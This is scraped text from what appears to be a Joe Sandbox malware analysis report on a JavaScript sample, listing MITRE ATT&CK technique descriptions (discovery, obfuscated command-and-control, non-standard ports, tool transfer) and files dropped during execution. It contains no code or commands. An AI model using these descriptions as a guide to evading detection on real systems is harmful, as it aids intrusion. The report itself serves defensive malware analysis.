Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 53198678114324144.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1eadcea4-4685-429e-99ca-225c3126aed7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7880

Windows Analysis Report
53198678114324144.js